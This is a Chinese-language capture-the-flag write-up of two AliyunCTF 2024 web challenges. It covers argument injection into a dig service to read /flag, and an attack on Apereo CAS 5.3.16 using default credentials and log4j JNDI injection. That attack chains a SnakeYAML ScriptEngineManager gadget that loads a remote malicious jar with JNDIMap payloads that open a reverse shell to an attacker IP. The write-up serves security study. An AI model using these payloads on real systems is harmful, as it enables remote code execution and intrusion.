AliyunCTF-2024
AliyunCTF赛题记录
Web
web签到
dig指令,传参
{"domain":"baidu.com","type":"CNAME"} |
domain不能用,但是type没有限制,直接读文件,但是要注意的是-f后面阶段参数不要用空格分开(一直用空格分开然后一直No such file or directory,一度怀疑人生)
{"domain":"baidu.com","type":"-f/flag"} |
easyCAS
描述:怎么网上都是 4.X 的漏洞,版本 5.X 没漏洞了吗,可是都是六年前的了,真的没问题吗,不管了,那我就搭起来看看吧,反正没漏洞密码也懒得改了。嗷~对了,还要调一下代码,开一下调试功能。 |
cAS部署的服务
Powered by Apereo Central Authentication Service 5.3.16 2022-01-07T20:24:58Z |
先去下一下源码,一个是源码文件,另一个是官方给的服务的部署模板,可以直接下载war包的
https://github.com/apereo/cas |
下载模板,简单粗暴点直接复制pom.xml的内容到maven中下载就能拿到war包,在application.properties中能看到默认的用户名和密码
cas.authn.accept.users=casuser::Mellon |
到这里就有两种做法了,一种是CAS的组件漏洞,这里用到了log4j 2.12.1,低版本是有jndi注入的,登录名是有log记录的(我没找到具体代码TuT,各位师傅提到的),所以可以进行jndi注入,试试dnslog确实是有${jndi:ldap://dnslog}
直接打并不行,应该是限制了不能随意远程加载任意类了,但是还有本地工厂类的bypass,这种就要求所用的组件本身就要带有漏洞
按照jndi的原理,rmi会请求远程地址,得到一个Reference类,然后再解析这个引用来加载类
去lib里面看,有漏洞的就有snakeyaml和tomcat等,这里就讲一下snakeyaml的bypass
new Yaml().load()下面的payload的时候就会触发加载任意类,然后通过远程地址获取恶意jar并加载来达到RCE,跟jndi的做法很像
!!javax.script.ScriptEngineManager [ |
这里用的是基于ScriptEngineManager利用链,这里讲的很清楚,还需要构造一个恶意jar包,用这个仓库的模板,可以自己写恶意jar里面的命令执行,然后打包
javac src/artsploit/AwesomeScriptEngineFactory.java |
然后将这个jar包开一个web server来放着,要保证与上面的yaml的payload里的地址一致
到这里yaml的利用链准备就完成了,接下来是jndi的rmi服务的搭建,rmi是要返回Reference的
import org.apache.naming.ResourceRef; |
这个就是要生成的恶意.class文件,可以使用工具将他跟rmi服务一起部署,或者自己写java代码让rmi服务就返回上面的内容,然后去访问rmi促发jndi注入就可以了,在上面的yaml的恶意jar包中可以使用socket进行反弹shell
这里的话我就使用工具了,X1r0z师傅的JNDIMAP,使用${jndi:ldap://ip:1389/TomcatBypass/ReverseShell/ip/2323}或者${jndi:ldap://ip:1389/snakeyaml/ReverseShell/ip/2323}都可以
其中snakeyaml的流程就是上面所说的
第二种做法就是,CAS自身的版本漏洞了,我们有默认的账号与密码